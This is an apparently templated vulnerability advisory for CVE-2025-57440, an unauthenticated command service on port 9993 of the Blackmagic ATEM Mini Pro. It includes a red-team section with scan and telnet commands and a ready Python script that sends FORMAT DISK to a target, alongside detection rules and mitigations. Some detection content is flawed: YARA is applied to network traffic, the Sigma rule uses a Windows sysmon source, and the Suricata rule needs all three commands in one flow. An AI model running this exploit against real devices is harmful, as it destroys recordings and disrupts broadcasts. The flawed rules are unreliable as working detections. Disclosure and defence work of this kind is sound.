CVE-2025-57440

Executive Summary

CVE-2025-57440 exposes a critical security flaw in the Blackmagic ATEM Mini Pro firmware version 2.7. The device runs an undocumented Telnet service on TCP port 9993 that accepts unauthenticated plaintext commands. This "ATEM Ethernet Protocol 1.0" interface provides full device control—including streaming, recording, storage formatting, and system reboot—without any authentication or encryption. An attacker on the same network or with remote access to the exposed port can exploit this to gain complete remote control, potentially disrupting live broadcasts, erasing critical footage, or causing denial of service.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a hardware device (Blackmagic ATEM Mini Pro). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely if port 9993 is exposed.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability affects only the device.
• Confidentiality Impact: High (C:H) – attacker can read device state and stream data.
• Integrity Impact: High (I:H) – attacker can modify device settings, format storage, or reboot.
• Availability Impact: High (A:H) – attacker can cause denial of service by rebooting or corrupting storage.

Threat Level: Critical. The lack of authentication and encryption, combined with full device control, makes this a severe risk for broadcast environments.

Deep Dive & Mechanics

The Blackmagic ATEM Mini Pro firmware version 2.7 includes a hidden Telnet service on TCP port 9993. This service implements the "ATEM Ethernet Protocol 1.0," a proprietary plaintext command interface. The protocol accepts commands such as:

• STREAM START / STREAM STOP – control live streaming.
• RECORD START / RECORD STOP – control recording.
• FORMAT DISK – format attached storage devices.
• REBOOT – restart the device.

No authentication or encryption is required. The service is undocumented and not visible in the device's web interface or official documentation. An attacker can connect via Telnet and send these commands directly, gaining full control.

Root Cause: The developer intentionally or inadvertently left a debug/management interface exposed without authentication. This is a classic case of CWE-306 (Missing Authentication for Critical Function).

Vulnerable vs. Patched Code

Vulnerable Version (2.7): The Telnet service on port 9993 accepts any connection and processes commands without authentication.

Patched Version: No official patch is available as of this report. The vendor (Blackmagic) has not released a firmware update addressing this issue. Users must rely on network-level mitigations.

Code Snippet (Hypothetical vulnerable implementation):

# Vulnerable pseudocode for ATEM Ethernet Protocol 1.0
import socket

def handle_client(conn):
    while True:
        data = conn.recv(1024)
        if not data:
            break
        command = data.decode().strip()
        if command == "STREAM START":
            start_stream()
        elif command == "FORMAT DISK":
            format_disk()
        elif command == "REBOOT":
            reboot()
        # No authentication check

server = socket.socket()
server.bind(('0.0.0.0', 9993))
server.listen()
while True:
    conn, addr = server.accept()
    handle_client(conn)

Patched Code (Hypothetical):

# Patched pseudocode with authentication
import socket, hashlib

AUTH_TOKEN = "secure_random_token"

def authenticate(conn):
    conn.send(b"AUTH REQUIRED\n")
    token = conn.recv(1024).decode().strip()
    return token == AUTH_TOKEN

def handle_client(conn):
    if not authenticate(conn):
        conn.send(b"AUTH FAILED\n")
        conn.close()
        return
    while True:
        data = conn.recv(1024)
        if not data:
            break
        command = data.decode().strip()
        if command == "STREAM START":
            start_stream()
        # ... rest of commands

server = socket.socket()
server.bind(('0.0.0.0', 9993))
server.listen()
while True:
    conn, addr = server.accept()
    handle_client(conn)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Blackmagic ATEM Mini Pro with firmware 2.7 on the same network.
• Attacker machine with Telnet client (e.g., telnet or netcat).

Exploitation Steps:

1. Scan for the service:

   nmap -p 9993 --open <target_ip>
   

2. Connect to the Telnet service:

   telnet <target_ip> 9993
   

3. Send commands:

   • Start streaming: STREAM START
   • Stop streaming: STREAM STOP
   • Start recording: RECORD START
   • Stop recording: RECORD STOP
   • Format disk: FORMAT DISK
   • Reboot device: REBOOT

Example session:

$ telnet 192.168.1.100 9993
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is '^]'.
STREAM START
OK
REBOOT
OK
Connection closed by foreign host.

Automated Exploit Script (Python):

import socket

def exploit(target_ip, command):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    try:
        sock.connect((target_ip, 9993))
        sock.send((command + "\n").encode())
        response = sock.recv(1024)
        print(f"Response: {response.decode()}")
    except Exception as e:
        print(f"Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    target = "192.168.1.100"
    exploit(target, "FORMAT DISK")

Blue Team

Detection and Response:

1. Network Monitoring: Monitor for connections to TCP port 9993 on ATEM devices. Alert on any Telnet traffic to this port.
2. Log Analysis: Check device logs (if available) for unexpected commands or reboots.
3. Honeypot: Deploy a fake ATEM service on port 9993 to detect scanning or exploitation attempts.
4. Incident Response: If exploitation is detected, isolate the device from the network, perform a factory reset, and apply network-level mitigations.

Indicators of Compromise (IOCs)

• Network IOCs:

  • TCP connections to port 9993 on any Blackmagic ATEM Mini Pro device.
  • Telnet traffic containing plaintext commands like STREAM START, FORMAT DISK, REBOOT.
  • Unusual outbound traffic from the device (e.g., streaming to unknown destinations).

• Host IOCs:

  • Device reboots without user interaction.
  • Storage devices formatted unexpectedly.
  • Streaming or recording starting/stopping without user action.

• File IOCs:

  • No specific file-based IOCs; this is a network-based vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_57440_ATEM_Telnet {
    meta:
        description = "Detects Telnet traffic to Blackmagic ATEM Mini Pro port 9993"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57440"
    strings:
        $telnet_banner = "ATEM Ethernet Protocol 1.0"
        $cmd_stream = "STREAM START" nocase
        $cmd_format = "FORMAT DISK" nocase
        $cmd_reboot = "REBOOT" nocase
    condition:
        any of ($telnet_banner) or any of ($cmd_stream, $cmd_format, $cmd_reboot)
}

Sigma Rule

title: Detection of CVE-2025-57440 Exploitation Attempts
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects Telnet connections to Blackmagic ATEM Mini Pro port 9993 with plaintext commands
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        DestinationPort: 9993
        Protocol: tcp
        Initiated: true
    condition: selection
falsepositives:
    - Legitimate administrative access (if any)
level: critical

Suricata Rule

alert tcp any any -> any 9993 (msg:"CVE-2025-57440 - ATEM Telnet Unauthenticated Command"; flow:to_server,established; content:"STREAM START"; nocase; content:"FORMAT DISK"; nocase; content:"REBOOT"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate ATEM devices on a separate VLAN with strict firewall rules. Block inbound and outbound traffic to port 9993 from untrusted networks.
2. Firewall Rules: Add a rule to block TCP port 9993 on the device's network interface or at the network perimeter.
3. Disable Telnet Service: If possible, disable the Telnet service via device configuration (check vendor documentation for hidden settings).
4. Monitor Logs: Enable logging on network devices to detect any attempts to connect to port 9993.

Long-Term Fix:

• Contact Blackmagic support and request a firmware update that removes or authenticates the Telnet service.
• If no patch is available, consider replacing the device with a more secure alternative.

Workaround:

• Use a VPN or SSH tunnel to access the device's management interface, ensuring that port 9993 is not exposed.

Valters IT